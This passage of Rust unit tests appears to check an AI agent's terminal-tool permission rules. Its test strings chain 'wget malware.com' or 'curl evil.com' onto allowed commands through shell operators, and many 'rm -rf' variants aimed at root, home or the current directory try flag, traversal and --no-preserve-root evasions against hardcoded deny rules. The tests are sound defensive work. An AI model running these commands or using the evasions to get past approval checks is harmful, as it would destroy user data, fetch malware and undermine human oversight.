 970                invalid_patterns: vec![],
 971            },
 972        );
 973        tools.insert(
 974            Arc::from(EditFileTool::NAME),
 975            ToolRules {
 976                default: Some(ToolPermissionMode::Allow),
 977                always_allow: vec![],
 978                always_deny: vec![],
 979                always_confirm: vec![],
 980                invalid_patterns: vec![],
 981            },
 982        );
 983        let p = ToolPermissions {
 984            default: ToolPermissionMode::Confirm,
 985            tools,
 986        };
 987        assert!(matches!(
 988            ToolPermissionDecision::from_input(
 989                TerminalTool::NAME,
 990                &["x".to_string()],
 991                &p,
 992                ShellKind::Posix
 993            ),
 994            ToolPermissionDecision::Deny(_)
 995        ));
 996        assert_eq!(
 997            ToolPermissionDecision::from_input(
 998                EditFileTool::NAME,
 999                &["x".to_string()],
1000                &p,
1001                ShellKind::Posix
1002            ),
1003            ToolPermissionDecision::Allow
1004        );
1005    }
1006
1007    #[test]
1008    fn partial_tool_name_no_match() {
1009        let mut tools = collections::HashMap::default();
1010        tools.insert(
1011            Arc::from("term"),
1012            ToolRules {
1013                default: Some(ToolPermissionMode::Deny),
1014                always_allow: vec![],
1015                always_deny: vec![],
1016                always_confirm: vec![],
1017                invalid_patterns: vec![],
1018            },
1019        );
1020        let p = ToolPermissions {
1021            default: ToolPermissionMode::Confirm,
1022            tools,
1023        };
1024        // "terminal" should not match "term" rules, so falls back to Confirm (no rules)
1025        assert_eq!(
1026            ToolPermissionDecision::from_input(
1027                TerminalTool::NAME,
1028                &["x".to_string()],
1029                &p,
1030                ShellKind::Posix
1031            ),
1032            ToolPermissionDecision::Confirm
1033        );
1034    }
1035
1036    // invalid patterns block the tool
1037    #[test]
1038    fn invalid_pattern_blocks() {
1039        let mut tools = collections::HashMap::default();
1040        tools.insert(
1041            Arc::from(TerminalTool::NAME),
1042            ToolRules {
1043                default: Some(ToolPermissionMode::Allow),
1044                always_allow: vec![CompiledRegex::new("echo", false).unwrap()],
1045                always_deny: vec![],
1046                always_confirm: vec![],
1047                invalid_patterns: vec![InvalidRegexPattern {
1048                    pattern: "[bad".into(),
1049                    rule_type: "always_deny".into(),
1050                    error: "err".into(),
1051                }],
1052            },
1053        );
1054        let p = ToolPermissions {
1055            default: ToolPermissionMode::Confirm,
1056            tools,
1057        };
1058        // Invalid patterns block the tool regardless of other settings
1059        assert!(matches!(
1060            ToolPermissionDecision::from_input(
1061                TerminalTool::NAME,
1062                &["echo hi".to_string()],
1063                &p,
1064                ShellKind::Posix
1065            ),
1066            ToolPermissionDecision::Deny(_)
1067        ));
1068    }
1069
1070    #[test]
1071    fn shell_injection_via_double_ampersand_not_allowed() {
1072        t("ls && wget malware.com").allow(&["^ls"]).is_confirm();
1073    }
1074
1075    #[test]
1076    fn shell_injection_via_semicolon_not_allowed() {
1077        t("ls; wget malware.com").allow(&["^ls"]).is_confirm();
1078    }
1079
1080    #[test]
1081    fn shell_injection_via_pipe_not_allowed() {
1082        t("ls | xargs curl evil.com").allow(&["^ls"]).is_confirm();
1083    }
1084
1085    #[test]
1086    fn shell_injection_via_backticks_not_allowed() {
1087        t("echo `wget malware.com`")
1088            .allow(&[pattern("echo")])
1089            .is_confirm();
1090    }
1091
1092    #[test]
1093    fn shell_injection_via_dollar_parens_not_allowed() {
1094        t("echo $(wget malware.com)")
1095            .allow(&[pattern("echo")])
1096            .is_confirm();
1097    }
1098
1099    #[test]
1100    fn shell_injection_via_or_operator_not_allowed() {
1101        t("ls || wget malware.com").allow(&["^ls"]).is_confirm();
1102    }
1103
1104    #[test]
1105    fn shell_injection_via_background_operator_not_allowed() {
1106        t("ls & wget malware.com").allow(&["^ls"]).is_confirm();
1107    }
1108
1109    #[test]
1110    fn shell_injection_via_newline_not_allowed() {
1111        t("ls\nwget malware.com").allow(&["^ls"]).is_confirm();
1112    }
1113
1114    #[test]
1115    fn shell_injection_via_process_substitution_input_not_allowed() {
1116        t("cat <(wget malware.com)").allow(&["^cat"]).is_confirm();
1117    }
1118
1119    #[test]
1120    fn shell_injection_via_process_substitution_output_not_allowed() {
1121        t("ls >(wget malware.com)").allow(&["^ls"]).is_confirm();
1122    }
1123
1124    #[test]
1125    fn shell_injection_without_spaces_not_allowed() {
1126        t("ls&&wget malware.com").allow(&["^ls"]).is_confirm();
1127        t("ls;wget malware.com").allow(&["^ls"]).is_confirm();
1128    }
1129
1130    #[test]
1131    fn shell_injection_multiple_chained_operators_not_allowed() {
1132        t("ls && echo hello && wget malware.com")
1133            .allow(&["^ls"])
1134            .is_confirm();
1135    }
1136
1137    #[test]
1138    fn shell_injection_mixed_operators_not_allowed() {
1139        t("ls; echo hello && wget malware.com")
1140            .allow(&["^ls"])
1141            .is_confirm();
1142    }
1143
1144    #[test]
1145    fn shell_injection_pipe_stderr_not_allowed() {
1146        t("ls |& wget malware.com").allow(&["^ls"]).is_confirm();
1147    }
1148
1149    #[test]
1150    fn allow_requires_all_commands_to_match() {
1151        t("ls && echo hello").allow(&["^ls", "^echo"]).is_allow();
1152    }
1153
1154    #[test]
1155    fn dev_null_redirect_does_not_cause_false_negative() {
1156        // Redirects to /dev/null are known-safe and should be skipped during
1157        // command extraction, so they don't prevent auto-allow from matching.
1158        t(r#"git log --oneline -20 2>/dev/null || echo "not a git repo or no commits""#)
1159            .allow(&[r"^git\s+(status|diff|log|show)\b", "^echo"])
1160            .is_allow();
1161    }
1162
1163    #[test]
1164    fn redirect_to_real_file_still_causes_confirm() {
1165        // Redirects to real files (not /dev/null) should still be included in
1166        // the extracted commands, so they prevent auto-allow when unmatched.
1167        t("echo hello > /etc/passwd").allow(&["^echo"]).is_confirm();
1168    }
1169
1170    #[test]
1171    fn pipe_does_not_cause_false_negative_when_all_commands_match() {
1172        // A piped command like `echo "y\ny" | git add -p file` produces two commands:
1173        // "echo y\ny" and "git add -p file". Both should match their respective allow
1174        // patterns, so the overall command should be auto-allowed.
1175        t(r#"echo "y\ny" | git add -p crates/acp_thread/src/acp_thread.rs"#)
1176            .allow(&[r"^git\s+(--no-pager\s+)?(fetch|status|diff|log|show|add|commit|push|checkout\s+-b)\b", "^echo"])
1177            .is_allow();
1178    }
1179
1180    #[test]
1181    fn deny_triggers_on_any_matching_command() {
1182        t("ls && rm file").allow(&["^ls"]).deny(&["^rm"]).is_deny();
1183    }
1184
1185    #[test]
1186    fn deny_catches_injected_command() {
1187        t("ls && rm -rf ./temp")
1188            .allow(&["^ls"])
1189            .deny(&["^rm"])
1190            .is_deny();
1191    }
1192
1193    #[test]
1194    fn confirm_triggers_on_any_matching_command() {
1195        t("ls && sudo reboot")
1196            .allow(&["^ls"])
1197            .confirm(&["^sudo"])
1198            .is_confirm();
1199    }
1200
1201    #[test]
1202    fn always_allow_button_works_end_to_end() {
1203        // This test verifies that the "Always Allow" button behavior works correctly:
1204        // 1. User runs a command like "cargo build --release"
1205        // 2. They click "Always Allow for `cargo build` commands"
1206        // 3. The pattern extracted should match future "cargo build" commands
1207        //    but NOT other cargo subcommands like "cargo test"
1208        let original_command = "cargo build --release";
1209        let extracted_pattern = pattern(original_command);
1210
1211        // The extracted pattern should allow the original command
1212        t(original_command).allow(&[extracted_pattern]).is_allow();
1213
1214        // It should allow other "cargo build" invocations with different flags
1215        t("cargo build").allow(&[extracted_pattern]).is_allow();
1216        t("cargo build --features foo")
1217            .allow(&[extracted_pattern])
1218            .is_allow();
1219
1220        // But NOT other cargo subcommands — the pattern is subcommand-specific
1221        t("cargo test").allow(&[extracted_pattern]).is_confirm();
1222        t("cargo fmt").allow(&[extracted_pattern]).is_confirm();
1223
1224        // Hyphenated extensions of the subcommand should not match either
1225        // (e.g. cargo plugins like "cargo build-foo")
1226        t("cargo build-foo")
1227            .allow(&[extracted_pattern])
1228            .is_confirm();
1229        t("cargo builder").allow(&[extracted_pattern]).is_confirm();
1230
1231        // But not commands with different base commands
1232        t("npm install").allow(&[extracted_pattern]).is_confirm();
1233
1234        // Chained commands: all must match the pattern
1235        t("cargo build && cargo build --release")
1236            .allow(&[extracted_pattern])
1237            .is_allow();
1238
1239        // But reject if any subcommand doesn't match
1240        t("cargo build && npm install")
1241            .allow(&[extracted_pattern])
1242            .is_confirm();
1243    }
1244
1245    #[test]
1246    fn always_allow_button_works_without_subcommand() {
1247        // When the second token is a flag (e.g. "ls -la"), the extracted pattern
1248        // should only include the command name, not the flag.
1249        let original_command = "ls -la";
1250        let extracted_pattern = pattern(original_command);
1251
1252        // The extracted pattern should allow the original command
1253        t(original_command).allow(&[extracted_pattern]).is_allow();
1254
1255        // It should allow other invocations of the same command
1256        t("ls").allow(&[extracted_pattern]).is_allow();
1257        t("ls -R /tmp").allow(&[extracted_pattern]).is_allow();
1258
1259        // But not different commands
1260        t("cat file.txt").allow(&[extracted_pattern]).is_confirm();
1261
1262        // Chained commands: all must match
1263        t("ls -la && ls /tmp")
1264            .allow(&[extracted_pattern])
1265            .is_allow();
1266        t("ls -la && cat file.txt")
1267            .allow(&[extracted_pattern])
1268            .is_confirm();
1269    }
1270
1271    #[test]
1272    fn nested_command_substitution_all_checked() {
1273        t("echo $(cat $(whoami).txt)")
1274            .allow(&["^echo", "^cat", "^whoami"])
1275            .is_allow();
1276    }
1277
1278    #[test]
1279    fn parse_failure_falls_back_to_confirm() {
1280        t("ls &&").allow(&["^ls$"]).is_confirm();
1281    }
1282
1283    #[test]
1284    fn mcp_tool_default_modes() {
1285        t("")
1286            .tool("mcp:fs:read")
1287            .mode(ToolPermissionMode::Allow)
1288            .is_allow();
1289        t("")
1290            .tool("mcp:bad:del")
1291            .mode(ToolPermissionMode::Deny)
1292            .is_deny();
1293        t("")
1294            .tool("mcp:gh:issue")
1295            .mode(ToolPermissionMode::Confirm)
1296            .is_confirm();
1297        t("")
1298            .tool("mcp:gh:issue")
1299            .mode(ToolPermissionMode::Confirm)
1300            .global_default(ToolPermissionMode::Allow)
1301            .is_confirm();
1302    }
1303
1304    #[test]
1305    fn mcp_doesnt_collide_with_builtin() {
1306        let mut tools = collections::HashMap::default();
1307        tools.insert(
1308            Arc::from(TerminalTool::NAME),
1309            ToolRules {
1310                default: Some(ToolPermissionMode::Deny),
1311                always_allow: vec![],
1312                always_deny: vec![],
1313                always_confirm: vec![],
1314                invalid_patterns: vec![],
1315            },
1316        );
1317        tools.insert(
1318            Arc::from("mcp:srv:terminal"),
1319            ToolRules {
1320                default: Some(ToolPermissionMode::Allow),
1321                always_allow: vec![],
1322                always_deny: vec![],
1323                always_confirm: vec![],
1324                invalid_patterns: vec![],
1325            },
1326        );
1327        let p = ToolPermissions {
1328            default: ToolPermissionMode::Confirm,
1329            tools,
1330        };
1331        assert!(matches!(
1332            ToolPermissionDecision::from_input(
1333                TerminalTool::NAME,
1334                &["x".to_string()],
1335                &p,
1336                ShellKind::Posix
1337            ),
1338            ToolPermissionDecision::Deny(_)
1339        ));
1340        assert_eq!(
1341            ToolPermissionDecision::from_input(
1342                "mcp:srv:terminal",
1343                &["x".to_string()],
1344                &p,
1345                ShellKind::Posix
1346            ),
1347            ToolPermissionDecision::Allow
1348        );
1349    }
1350
1351    #[test]
1352    fn case_insensitive_by_default() {
1353        t("CARGO TEST").allow(&[pattern("cargo")]).is_allow();
1354        t("Cargo Test").allow(&[pattern("cargo")]).is_allow();
1355    }
1356
1357    #[test]
1358    fn case_sensitive_allow() {
1359        t("cargo test")
1360            .allow_case_sensitive(&[pattern("cargo")])
1361            .is_allow();
1362        t("CARGO TEST")
1363            .allow_case_sensitive(&[pattern("cargo")])
1364            .is_confirm();
1365    }
1366
1367    #[test]
1368    fn case_sensitive_deny() {
1369        t("rm -rf ./temp")
1370            .deny_case_sensitive(&[pattern("rm")])
1371            .is_deny();
1372        t("RM -RF ./temp")
1373            .deny_case_sensitive(&[pattern("rm")])
1374            .mode(ToolPermissionMode::Allow)
1375            .is_allow();
1376    }
1377
1378    #[test]
1379    fn nushell_allows_with_allow_pattern() {
1380        t("ls").allow(&["^ls"]).shell(ShellKind::Nushell).is_allow();
1381    }
1382
1383    #[test]
1384    fn nushell_allows_deny_patterns() {
1385        t("rm -rf ./temp")
1386            .deny(&["rm\\s+-rf"])
1387            .shell(ShellKind::Nushell)
1388            .is_deny();
1389    }
1390
1391    #[test]
1392    fn nushell_allows_confirm_patterns() {
1393        t("sudo reboot")
1394            .confirm(&["sudo"])
1395            .shell(ShellKind::Nushell)
1396            .is_confirm();
1397    }
1398
1399    #[test]
1400    fn nushell_no_allow_patterns_uses_default() {
1401        t("ls")
1402            .deny(&["rm"])
1403            .mode(ToolPermissionMode::Allow)
1404            .shell(ShellKind::Nushell)
1405            .is_allow();
1406    }
1407
1408    #[test]
1409    fn elvish_allows_with_allow_pattern() {
1410        t("ls").allow(&["^ls"]).shell(ShellKind::Elvish).is_allow();
1411    }
1412
1413    #[test]
1414    fn rc_allows_with_allow_pattern() {
1415        t("ls").allow(&["^ls"]).shell(ShellKind::Rc).is_allow();
1416    }
1417
1418    #[test]
1419    fn multiple_invalid_patterns_pluralizes_message() {
1420        let mut tools = collections::HashMap::default();
1421        tools.insert(
1422            Arc::from(TerminalTool::NAME),
1423            ToolRules {
1424                default: Some(ToolPermissionMode::Allow),
1425                always_allow: vec![],
1426                always_deny: vec![],
1427                always_confirm: vec![],
1428                invalid_patterns: vec![
1429                    InvalidRegexPattern {
1430                        pattern: "[bad1".into(),
1431                        rule_type: "always_deny".into(),
1432                        error: "err1".into(),
1433                    },
1434                    InvalidRegexPattern {
1435                        pattern: "[bad2".into(),
1436                        rule_type: "always_allow".into(),
1437                        error: "err2".into(),
1438                    },
1439                ],
1440            },
1441        );
1442        let p = ToolPermissions {
1443            default: ToolPermissionMode::Confirm,
1444            tools,
1445        };
1446
1447        let result = ToolPermissionDecision::from_input(
1448            TerminalTool::NAME,
1449            &["echo hi".to_string()],
1450            &p,
1451            ShellKind::Posix,
1452        );
1453        match result {
1454            ToolPermissionDecision::Deny(msg) => {
1455                assert!(
1456                    msg.contains("2 regex patterns"),
1457                    "Expected '2 regex patterns' in message, got: {}",
1458                    msg
1459                );
1460            }
1461            other => panic!("Expected Deny, got {:?}", other),
1462        }
1463    }
1464
1465    // always_confirm patterns on non-terminal tools
1466    #[test]
1467    fn always_confirm_works_for_file_tools() {
1468        t("sensitive.env")
1469            .tool(EditFileTool::NAME)
1470            .confirm(&["sensitive"])
1471            .is_confirm();
1472
1473        t("normal.txt")
1474            .tool(EditFileTool::NAME)
1475            .confirm(&["sensitive"])
1476            .mode(ToolPermissionMode::Allow)
1477            .is_allow();
1478
1479        t("/etc/config")
1480            .tool(DeletePathTool::NAME)
1481            .confirm(&["/etc/"])
1482            .is_confirm();
1483
1484        t("/home/user/safe.txt")
1485            .tool(DeletePathTool::NAME)
1486            .confirm(&["/etc/"])
1487            .mode(ToolPermissionMode::Allow)
1488            .is_allow();
1489
1490        t("https://secret.internal.com/api")
1491            .tool(FetchTool::NAME)
1492            .confirm(&["secret\\.internal"])
1493            .is_confirm();
1494
1495        t("https://public.example.com/api")
1496            .tool(FetchTool::NAME)
1497            .confirm(&["secret\\.internal"])
1498            .mode(ToolPermissionMode::Allow)
1499            .is_allow();
1500
1501        // confirm on non-terminal tools still beats allow
1502        t("sensitive.env")
1503            .tool(EditFileTool::NAME)
1504            .allow(&["sensitive"])
1505            .confirm(&["\\.env$"])
1506            .is_confirm();
1507
1508        // confirm on non-terminal tools is still beaten by deny
1509        t("sensitive.env")
1510            .tool(EditFileTool::NAME)
1511            .confirm(&["sensitive"])
1512            .deny(&["\\.env$"])
1513            .is_deny();
1514
1515        // global default allow does not bypass confirm on non-terminal tools
1516        t("/etc/passwd")
1517            .tool(EditFileTool::NAME)
1518            .confirm(&["/etc/"])
1519            .global_default(ToolPermissionMode::Allow)
1520            .is_confirm();
1521    }
1522
1523    // Hardcoded security rules tests - these rules CANNOT be bypassed
1524
1525    #[test]
1526    fn hardcoded_blocks_rm_rf_root() {
1527        t("rm -rf /").is_deny();
1528        t("rm -fr /").is_deny();
1529        t("rm -RF /").is_deny();
1530        t("rm -FR /").is_deny();
1531        t("rm -r -f /").is_deny();
1532        t("rm -f -r /").is_deny();
1533        t("RM -RF /").is_deny();
1534        t("rm /").is_deny();
1535        // Long flags
1536        t("rm --recursive --force /").is_deny();
1537        t("rm --force --recursive /").is_deny();
1538        // Extra short flags
1539        t("rm -rfv /").is_deny();
1540        t("rm -v -rf /").is_deny();
1541        // Glob wildcards
1542        t("rm -rf /*").is_deny();
1543        t("rm -rf /* ").is_deny();
1544        // End-of-options marker
1545        t("rm -rf -- /").is_deny();
1546        t("rm -- /").is_deny();
1547        // Prefixed with sudo or other commands
1548        t("sudo rm -rf /").is_deny();
1549        t("sudo rm -rf /*").is_deny();
1550        t("sudo rm -rf --no-preserve-root /").is_deny();
1551    }
1552
1553    #[test]
1554    fn hardcoded_blocks_rm_rf_home() {
1555        t("rm -rf ~").is_deny();
1556        t("rm -fr ~").is_deny();
1557        t("rm -rf ~/").is_deny();
1558        t("rm -rf $HOME").is_deny();
1559        t("rm -fr $HOME").is_deny();
1560        t("rm -rf $HOME/").is_deny();
1561        t("rm -rf ${HOME}").is_deny();
1562        t("rm -rf ${HOME}/").is_deny();
1563        t("rm -RF $HOME").is_deny();
1564        t("rm -FR ${HOME}/").is_deny();
1565        t("rm -R -F ${HOME}/").is_deny();
1566        t("RM -RF ~").is_deny();
1567        // Long flags
1568        t("rm --recursive --force ~").is_deny();
1569        t("rm --recursive --force ~/").is_deny();
1570        t("rm --recursive --force $HOME").is_deny();
1571        t("rm --force --recursive ${HOME}/").is_deny();
1572        // Extra short flags
1573        t("rm -rfv ~").is_deny();
1574        t("rm -v -rf ~/").is_deny();
1575        // Glob wildcards
1576        t("rm -rf ~/*").is_deny();
1577        t("rm -rf $HOME/*").is_deny();
1578        t("rm -rf ${HOME}/*").is_deny();
1579        // End-of-options marker
1580        t("rm -rf -- ~").is_deny();
1581        t("rm -rf -- ~/").is_deny();
1582        t("rm -rf -- $HOME").is_deny();
1583    }
1584
1585    #[test]
1586    fn hardcoded_blocks_rm_rf_home_with_traversal() {
1587        // Path traversal after $HOME / ${HOME} should still be blocked
1588        t("rm -rf $HOME/./").is_deny();
1589        t("rm -rf $HOME/foo/..").is_deny();
1590        t("rm -rf ${HOME}/.").is_deny();
1591        t("rm -rf ${HOME}/./").is_deny();
1592        t("rm -rf $HOME/a/b/../..").is_deny();
1593        t("rm -rf ${HOME}/foo/bar/../..").is_deny();
1594        // Subdirectories should NOT be blocked
1595        t("rm -rf $HOME/subdir")
1596            .mode(ToolPermissionMode::Allow)
1597            .is_allow();
1598        t("rm -rf ${HOME}/Documents")
1599            .mode(ToolPermissionMode::Allow)
1600            .is_allow();
1601    }
1602
1603    #[test]
1604    fn hardcoded_blocks_rm_rf_dot() {
1605        t("rm -rf .").is_deny();
1606        t("rm -fr .").is_deny();
1607        t("rm -rf ./").is_deny();
1608        t("rm -rf ..").is_deny();
1609        t("rm -fr ..").is_deny();
1610        t("rm -rf ../").is_deny();
1611        t("rm -RF .").is_deny();
1612        t("rm -FR ../").is_deny();
1613        t("rm -R -F ../").is_deny();
1614        t("RM -RF .").is_deny();
1615        t("RM -RF ..").is_deny();
1616        // Long flags
1617        t("rm --recursive --force .").is_deny();
1618        t("rm --force --recursive ../").is_deny();
1619        // Extra short flags
1620        t("rm -rfv .").is_deny();
1621        t("rm -v -rf ../").is_deny();
1622        // Glob wildcards
1623        t("rm -rf ./*").is_deny();
1624        t("rm -rf ../*").is_deny();
1625        // End-of-options marker
1626        t("rm -rf -- .").is_deny();
1627        t("rm -rf -- ../").is_deny();
1628    }
1629
1630    #[test]
1631    fn hardcoded_cannot_be_bypassed_by_global() {
1632        // Even with global default Allow, hardcoded rules block
1633        t("rm -rf /")
1634            .global_default(ToolPermissionMode::Allow)
1635            .is_deny();
1636        t("rm -rf ~")
1637            .global_default(ToolPermissionMode::Allow)
1638            .is_deny();
1639        t("rm -rf $HOME")
1640            .global_default(ToolPermissionMode::Allow)
1641            .is_deny();
1642        t("rm -rf .")
1643            .global_default(ToolPermissionMode::Allow)
1644            .is_deny();
1645        t("rm -rf ..")
1646            .global_default(ToolPermissionMode::Allow)
1647            .is_deny();
1648    }
1649
1650    #[test]
1651    fn hardcoded_cannot_be_bypassed_by_allow_pattern() {
1652        // Even with an allow pattern that matches, hardcoded rules block
1653        t("rm -rf /").allow(&[".*"]).is_deny();
1654        t("rm -rf $HOME").allow(&[".*"]).is_deny();
1655        t("rm -rf .").allow(&[".*"]).is_deny();
1656        t("rm -rf ..").allow(&[".*"]).is_deny();
1657    }
1658
1659    #[test]
1660    fn hardcoded_allows_safe_rm() {
1661        // rm -rf on a specific path should NOT be blocked
1662        t("rm -rf ./build")
1663            .mode(ToolPermissionMode::Allow)
1664            .is_allow();
1665        t("rm -rf /tmp/test")
1666            .mode(ToolPermissionMode::Allow)
1667            .is_allow();
1668        t("rm -rf ~/Documents")
1669            .mode(ToolPermissionMode::Allow)
1670            .is_allow();
1671        t("rm -rf $HOME/Documents")
1672            .mode(ToolPermissionMode::Allow)
1673            .is_allow();
1674        t("rm -rf ../some_dir")
1675            .mode(ToolPermissionMode::Allow)
1676            .is_allow();
1677        t("rm -rf .hidden_dir")
1678            .mode(ToolPermissionMode::Allow)
1679            .is_allow();
1680        t("rm -rfv ./build")
1681            .mode(ToolPermissionMode::Allow)
1682            .is_allow();
1683        t("rm --recursive --force ./build")
1684            .mode(ToolPermissionMode::Allow)
1685            .is_allow();
1686    }
1687
1688    #[test]
1689    fn hardcoded_checks_chained_commands() {
1690        // Hardcoded rules should catch dangerous commands in chains
1691        t("ls && rm -rf /").is_deny();
1692        t("echo hello; rm -rf ~").is_deny();
1693        t("cargo build && rm -rf /")
1694            .global_default(ToolPermissionMode::Allow)
1695            .is_deny();
1696        t("echo hello; rm -rf $HOME").is_deny();
1697        t("echo hello; rm -rf .").is_deny();
1698        t("echo hello; rm -rf ..").is_deny();
1699    }
1700
1701    #[test]
1702    fn hardcoded_blocks_rm_with_extra_flags() {
1703        // Extra flags like -v, -i should not bypass the security rules
1704        t("rm -rfv /").is_deny();
1705        t("rm -v -rf /").is_deny();
1706        t("rm -rfi /").is_deny();
1707        t("rm -rfv ~").is_deny();
1708        t("rm -rfv ~/").is_deny();
1709        t("rm -rfv $HOME").is_deny();
1710        t("rm -rfv .").is_deny();
1711        t("rm -rfv ./").is_deny();
1712        t("rm -rfv ..").is_deny();
1713        t("rm -rfv ../").is_deny();
1714    }
1715
1716    #[test]
1717    fn hardcoded_blocks_rm_with_long_flags() {
1718        t("rm --recursive --force /").is_deny();
1719        t("rm --force --recursive /").is_deny();
1720        t("rm --recursive --force ~").is_deny();
1721        t("rm --recursive --force ~/").is_deny();
1722        t("rm --recursive --force $HOME").is_deny();
1723        t("rm --recursive --force .").is_deny();
1724        t("rm --recursive --force ..").is_deny();
1725    }
1726
1727    #[test]
1728    fn hardcoded_blocks_rm_with_glob_star() {
1729        // rm -rf /* is equally catastrophic to rm -rf /
1730        t("rm -rf /*").is_deny();
1731        t("rm -rf ~/*").is_deny();
1732        t("rm -rf $HOME/*").is_deny();
1733        t("rm -rf ${HOME}/*").is_deny();
1734        t("rm -rf ./*").is_deny();
1735        t("rm -rf ../*").is_deny();
1736    }
1737
1738    #[test]
1739    fn hardcoded_extra_flags_allow_safe_rm() {
1740        // Extra flags on specific paths should NOT be blocked
1741        t("rm -rfv ~/somedir")
1742            .mode(ToolPermissionMode::Allow)
1743            .is_allow();
1744        t("rm -rfv /tmp/test")
1745            .mode(ToolPermissionMode::Allow)
1746            .is_allow();
1747        t("rm --recursive --force ./build")
1748            .mode(ToolPermissionMode::Allow)
1749            .is_allow();
1750    }
1751
1752    #[test]
1753    fn hardcoded_does_not_block_words_containing_rm() {
1754        // Words like "storm", "inform" contain "rm" but should not be blocked
1755        t("storm -rf /").mode(ToolPermissionMode::Allow).is_allow();
1756        t("inform -rf /").mode(ToolPermissionMode::Allow).is_allow();
1757        t("gorm -rf ~").mode(ToolPermissionMode::Allow).is_allow();
1758    }
1759
1760    #[test]
1761    fn hardcoded_blocks_rm_with_trailing_flags() {
1762        // GNU rm accepts flags after operands by default
1763        t("rm / -rf").is_deny();
1764        t("rm / -fr").is_deny();
1765        t("rm / -RF").is_deny();
1766        t("rm / -r -f").is_deny();
1767        t("rm / --recursive --force").is_deny();
1768        t("rm / -rfv").is_deny();
1769        t("rm /* -rf").is_deny();
1770        // Mixed: some flags before path, some after
1771        t("rm -r / -f").is_deny();
1772        t("rm -f / -r").is_deny();
1773        // Home
1774        t("rm ~ -rf").is_deny();
1775        t("rm ~/ -rf").is_deny();
1776        t("rm ~ -r -f").is_deny();
1777        t("rm $HOME -rf").is_deny();
1778        t("rm ${HOME} -rf").is_deny();
1779        // Dot / dotdot
1780        t("rm . -rf").is_deny();
1781        t("rm ./ -rf").is_deny();
1782        t("rm . -r -f").is_deny();
1783        t("rm .. -rf").is_deny();
1784        t("rm ../ -rf").is_deny();
1785        t("rm .. -r -f").is_deny();
1786        // Trailing flags in chained commands
1787        t("ls && rm / -rf").is_deny();
1788        t("echo hello; rm ~ -rf").is_deny();
1789        // Safe paths with trailing flags should NOT be blocked
1790        t("rm ./build -rf")
1791            .mode(ToolPermissionMode::Allow)
1792            .is_allow();
1793        t("rm /tmp/test -rf")
1794            .mode(ToolPermissionMode::Allow)
1795            .is_allow();
1796        t("rm ~/Documents -rf")
1797            .mode(ToolPermissionMode::Allow)
1798            .is_allow();
1799    }
1800
1801    #[test]
1802    fn hardcoded_blocks_rm_with_flag_equals_value() {
1803        // --flag=value syntax should not bypass the rules
1804        t("rm --no-preserve-root=yes -rf /").is_deny();
1805        t("rm --no-preserve-root=yes --recursive --force /").is_deny();
1806        t("rm -rf --no-preserve-root=yes /").is_deny();
1807        t("rm --interactive=never -rf /").is_deny();
1808        t("rm --no-preserve-root=yes -rf ~").is_deny();
1809        t("rm --no-preserve-root=yes -rf .").is_deny();
1810        t("rm --no-preserve-root=yes -rf ..").is_deny();
1811        t("rm --no-preserve-root=yes -rf $HOME").is_deny();
1812        // --flag (without =value) should also not bypass the rules
1813        t("rm -rf --no-preserve-root /").is_deny();
1814        t("rm --no-preserve-root -rf /").is_deny();
1815        t("rm --no-preserve-root --recursive --force /").is_deny();
1816        t("rm -rf --no-preserve-root ~").is_deny();
1817        t("rm -rf --no-preserve-root .").is_deny();
1818        t("rm -rf --no-preserve-root ..").is_deny();
1819        t("rm -rf --no-preserve-root $HOME").is_deny();
1820        // Trailing --flag=value after path
1821        t("rm / --no-preserve-root=yes -rf").is_deny();
1822        t("rm ~ -rf --no-preserve-root=yes").is_deny();
1823        // Trailing --flag (without =value) after path
1824        t("rm / -rf --no-preserve-root").is_deny();
1825        t("rm ~ -rf --no-preserve-root").is_deny();
1826        // Safe paths with --flag=value should NOT be blocked
1827        t("rm --no-preserve-root=yes -rf ./build")
1828            .mode(ToolPermissionMode::Allow)
1829            .is_allow();
1830        t("rm --interactive=never -rf /tmp/test")
1831            .mode(ToolPermissionMode::Allow)
1832            .is_allow();
1833        // Safe paths with --flag (without =value) should NOT be blocked
1834        t("rm --no-preserve-root -rf ./build")
1835            .mode(ToolPermissionMode::Allow)
1836            .is_allow();
1837    }
1838
1839    #[test]
1840    fn hardcoded_blocks_rm_with_path_traversal() {
1841        // Traversal to root via ..
1842        t("rm -rf /etc/../").is_deny();
1843        t("rm -rf /tmp/../../").is_deny();
1844        t("rm -rf /tmp/../..").is_deny();
1845        t("rm -rf /var/log/../../").is_deny();
1846        // Root via /./
1847        t("rm -rf /./").is_deny();
1848        t("rm -rf /.").is_deny();
1849        // Double slash (equivalent to /)
1850        t("rm -rf //").is_deny();
1851        // Home traversal via ~/./
1852        t("rm -rf ~/./").is_deny();
1853        t("rm -rf ~/.").is_deny();
1854        // Dot traversal via indirect paths
1855        t("rm -rf ./foo/..").is_deny();
1856        t("rm -rf ../foo/..").is_deny();
1857        // Traversal in chained commands
1858        t("ls && rm -rf /tmp/../../").is_deny();
1859        t("echo hello; rm -rf /./").is_deny();
1860        // Traversal cannot be bypassed by global or allow patterns
1861        t("rm -rf /tmp/../../")
1862            .global_default(ToolPermissionMode::Allow)
1863            .is_deny();
1864        t("rm -rf /./").allow(&[".*"]).is_deny();
1865        // Safe paths with traversal should still be allowed
1866        t("rm -rf /tmp/../tmp/foo")
1867            .mode(ToolPermissionMode::Allow)
1868            .is_allow();
1869        t("rm -rf ~/Documents/./subdir")
1870            .mode(ToolPermissionMode::Allow)
1871            .is_allow();
1872    }
1873
1874    #[test]
1875    fn hardcoded_blocks_rm_multi_path_with_dangerous_last() {
1876        t("rm -rf /tmp /").is_deny();
1877        t("rm -rf /tmp/foo /").is_deny();
1878        t("rm -rf /var/log ~").is_deny();
1879        t("rm -rf /safe $HOME").is_deny();
1880    }
1881
1882    #[test]
1883    fn hardcoded_blocks_rm_multi_path_with_dangerous_first() {
1884        t("rm -rf / /tmp").is_deny();
1885        t("rm -rf ~ /var/log").is_deny();
1886        t("rm -rf . /tmp/foo").is_deny();
1887        t("rm -rf .. /safe").is_deny();
1888    }
1889
1890    #[test]
1891    fn hardcoded_allows_rm_multi_path_all_safe() {
1892        t("rm -rf /tmp /home/user")
1893            .mode(ToolPermissionMode::Allow)
1894            .is_allow();
1895        t("rm -rf ./build ./dist")
1896            .mode(ToolPermissionMode::Allow)
1897            .is_allow();
1898        t("rm -rf /var/log/app /tmp/cache")
1899            .mode(ToolPermissionMode::Allow)
1900            .is_allow();
1901    }
1902
1903    #[test]
1904    fn hardcoded_blocks_rm_multi_path_with_traversal() {
1905        t("rm -rf /safe /tmp/../../").is_deny();
1906        t("rm -rf /tmp/../../ /safe").is_deny();
1907        t("rm -rf /safe /var/log/../../").is_deny();
1908    }
1909
